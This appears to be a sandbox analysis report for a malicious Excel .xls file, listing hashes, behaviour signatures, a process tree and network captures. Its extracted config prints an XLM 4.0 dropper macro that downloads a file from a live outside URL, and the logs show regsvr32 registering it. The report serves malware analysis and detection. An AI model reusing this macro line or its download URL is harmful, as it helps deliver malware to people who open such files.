Overview

overview

10

Static

static

8

7a37316960...c8.xls

windows7-x64

10

7a37316960...c8.xls

windows10-2004-x64

10

Analysis

  • max time kernel
    134s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 19:09 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    7a37316960d73bef2321dbd74a2e5a5ccc7eb6c6f245fb50d32e371b6fb04bc8.xls

  • Size

    40KB

  • MD5

    d1245f3fb9af8d7ac5fcd6c162bdc2f2

  • SHA1

    3a98e5a18838576ad8c0eccdd5c95d1456082998

  • SHA256

    7a37316960d73bef2321dbd74a2e5a5ccc7eb6c6f245fb50d32e371b6fb04bc8

  • SHA512

    efbb7d5e67542b26cd2cabfcdd9eaff048644ee90cc9fd9e8e30ac0c8e58db7f3d61a3f0ba6c97e0c0b89fd842d21dce195945f5e6891901f9d98e3526e8545e

  • SSDEEP

    768:pkZKpb8rGYrMPe3q7Q0XV5xtezEs/68/dgAdCBn9kC+xbqc6q+otrvEVLcAo:p+Kpb8rGYrMPe3q7Q0XV5xtezEsi8/d5

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source
1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/", "..\wurod.ocx")
URLs
xlm40.dropper

https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7a37316960d73bef2321dbd74a2e5a5ccc7eb6c6f245fb50d32e371b6fb04bc8.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\Windows\System32\regsvr32.exe
      C:\Windows\System32\regsvr32.exe ..\wurod.ocx
      2⤵
      • Process spawned unexpected child process
      PID:4948

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    97.17.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.17.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    46.28.109.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    46.28.109.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    roaming.officeapps.live.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    roaming.officeapps.live.com
    IN A
    Response
    roaming.officeapps.live.com
    IN CNAME
    prod.roaming1.live.com.akadns.net
    prod.roaming1.live.com.akadns.net
    IN CNAME
    eur.roaming1.live.com.akadns.net
    eur.roaming1.live.com.akadns.net
    IN CNAME
    ukw-azsc-000.roaming.officeapps.live.com
    ukw-azsc-000.roaming.officeapps.live.com
    IN CNAME
    osiprod-ukw-buff-azsc-000.ukwest.cloudapp.azure.com
    osiprod-ukw-buff-azsc-000.ukwest.cloudapp.azure.com
    IN A
    52.109.32.7
  • flag-gb
    POST
    https://roaming.officeapps.live.com/rs/RoamingSoapService.svc
    EXCEL.EXE
    Remote address:
    52.109.32.7:443
    Request
    POST /rs/RoamingSoapService.svc HTTP/1.1
    Cache-Control: no-cache
    Connection: Keep-Alive
    Pragma: no-cache
    Content-Type: text/xml; charset=utf-8
    User-Agent: MS-WebServices/1.0
    SOAPAction: "http://tempuri.org/IRoamingSettingsService/GetConfig"
    Content-Length: 511
    Host: roaming.officeapps.live.com
    Response
    HTTP/1.1 200 OK
    Cache-Control: private
    Content-Type: text/xml; charset=utf-8
    Server: Microsoft-IIS/10.0
    X-OfficeFE: RoamingFE_IN_122
    X-OfficeVersion: 16.0.18311.30577
    X-OfficeCluster: ukw-000.roaming.officeapps.live.com
    Content-Security-Policy-Report-Only: script-src 'nonce-l0SwVNW9fxB8ZMSEk92BCREasckQ9obpTCCa2tv8W9g7y7/+qvDFu/SqiNUOq3FAKRJDrb0ZLcGLsHbvwtfURzLVtYOO4Fq5qPlOtFu+R90mzxn4ETWF6Iv4jCHNdjPvyqRnSG84T05nwwVge6mZ6OtXYNlp14h11fxX9l0fDQY=' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https:; base-uri 'self'; object-src 'none'; require-trusted-types-for 'script'; report-uri https://csp.microsoft.com/report/OfficeIce-OfficeRoaming-Prod
    X-CorrelationId: cdb594eb-f339-4349-8949-9cb4cb23d326
    X-Powered-By: ASP.NET
    Date: Wed, 20 Nov 2024 19:10:23 GMT
    Content-Length: 654
  • flag-us
    DNS
    www.itesmeitic.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    www.itesmeitic.com
    IN A
    Response
    www.itesmeitic.com
    IN CNAME
    itesmeitic.com
    itesmeitic.com
    IN A
    198.59.144.182
  • flag-us
    GET
    https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/
    EXCEL.EXE
    Remote address:
    198.59.144.182:443
    Request
    GET /term/IFjx5ElE0ldr8wDDHjub/ HTTP/2.0
    host: www.itesmeitic.com
    accept: */*
    ua-cpu: AMD64
    accept-encoding: gzip, deflate
    user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Response
    HTTP/2.0 200
    x-powered-by: PHP/8.2.24
    strict-transport-security: max-age=31536000
    x-xss-protection: 1
    x-content-type-options: nosniff
    x-frame-options: SAMEORIGIN
    referrer-policy: no-referrer-when-downgrade
    content-security-policy: upgrade-insecure-requests;
    content-type: text/html; charset=UTF-8
    date: Wed, 20 Nov 2024 19:10:24 GMT
    server: Apache
  • flag-us
    DNS
    73.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    73.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    7.32.109.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    7.32.109.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    182.144.59.198.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    182.144.59.198.in-addr.arpa
    IN PTR
    Response
    182.144.59.198.in-addr.arpa
    IN PTR
    svgt397 serverneuboxcommx
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    228.249.119.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    228.249.119.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    125.21.192.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    125.21.192.23.in-addr.arpa
    IN PTR
    Response
    125.21.192.23.in-addr.arpa
    IN PTR
    a23-192-21-125deploystaticakamaitechnologiescom
  • flag-us
    DNS
    41.173.79.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    41.173.79.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    212.20.149.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    212.20.149.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    107.209.201.84.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    107.209.201.84.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    30.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    30.243.111.52.in-addr.arpa
    IN PTR
    Response
  • 52.109.32.7:443
    https://roaming.officeapps.live.com/rs/RoamingSoapService.svc
    tls, http
    EXCEL.EXE
    1.8kB
     8.2kB
     12
    11

    HTTP Request

    POST https://roaming.officeapps.live.com/rs/RoamingSoapService.svc

    HTTP Response

    200
  • 198.59.144.182:443
    https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/
    tls, http2
    EXCEL.EXE
    1.4kB
     4.9kB
     18
    14

    HTTP Request

    GET https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/

    HTTP Response

    200
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    97.17.167.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    97.17.167.52.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    46.28.109.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    46.28.109.52.in-addr.arpa

  • 8.8.8.8:53
    roaming.officeapps.live.com
    dns
    EXCEL.EXE
    73 B
     243 B
     1
    1

    DNS Request

    roaming.officeapps.live.com

    DNS Response

    52.109.32.7

  • 8.8.8.8:53
    www.itesmeitic.com
    dns
    EXCEL.EXE
    64 B
     94 B
     1
    1

    DNS Request

    www.itesmeitic.com

    DNS Response

    198.59.144.182

  • 8.8.8.8:53
    73.159.190.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    73.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    7.32.109.52.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    7.32.109.52.in-addr.arpa

  • 8.8.8.8:53
    182.144.59.198.in-addr.arpa
    dns
    73 B
     114 B
     1
    1

    DNS Request

    182.144.59.198.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    228.249.119.40.in-addr.arpa
    dns
    73 B
     159 B
     1
    1

    DNS Request

    228.249.119.40.in-addr.arpa

  • 8.8.8.8:53
    125.21.192.23.in-addr.arpa
    dns
    72 B
     137 B
     1
    1

    DNS Request

    125.21.192.23.in-addr.arpa

  • 8.8.8.8:53
    41.173.79.40.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    41.173.79.40.in-addr.arpa

  • 8.8.8.8:53
    212.20.149.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    212.20.149.52.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    107.209.201.84.in-addr.arpa
    dns
    73 B
     133 B
     1
    1

    DNS Request

    107.209.201.84.in-addr.arpa

  • 8.8.8.8:53
    30.243.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    30.243.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
    Filesize

    1KB

    MD5

    4ce68d09742ee6e694c377b7c693b6e2

    SHA1

    3cd0673f88f0c10bfb944e4e2f6a2eb4464ccb27

    SHA256

    54e2bfa43446de69962d3067f795c7cf7484f52ab21aa7dadb5ea7d54c089dc7

    SHA512

    49f11f034fdf497c60ab01ac72c61872cb953f1fe7f2eaf50f16e5636b3e82426e2837c655b8e5095f72e72d028ef39f6aa42a7d3852cf9a9db63b1ae41f0d04

    Download Submit

  • C:\Users\Admin\wurod.ocx
    Filesize

    62B

    MD5

    ec66f7f0da293c14d1ec051ab12dc4b2

    SHA1

    cc7c57f49917f5b76034d36ca181f9b21c223359

    SHA256

    46bc6e73a86ffb0bd0a01cdca281c4c18dde6ceae509a70621e91d10e128f9f0

    SHA512

    56a145f571243a8db4eb28752f45ecf1e89f7db1f3bd387aef5f54c262db2361649e1e0fdd06910b5ab63a91dc2fdf9587ca494e56233cdb30fee2b92a9856f3

    Download Submit

  • memory/2252-13-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-14-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-5-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2252-0-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2252-9-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-12-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-11-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-8-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-10-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-16-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-4-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2252-1-0x00007FFC191CD000-0x00007FFC191CE000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2252-15-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-7-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-6-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-17-0x00007FFBD6F70000-0x00007FFBD6F80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2252-18-0x00007FFBD6F70000-0x00007FFBD6F80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2252-3-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2252-36-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-37-0x00007FFC191CD000-0x00007FFC191CE000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2252-38-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-39-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/2252-2-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

    Filesize

    64KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.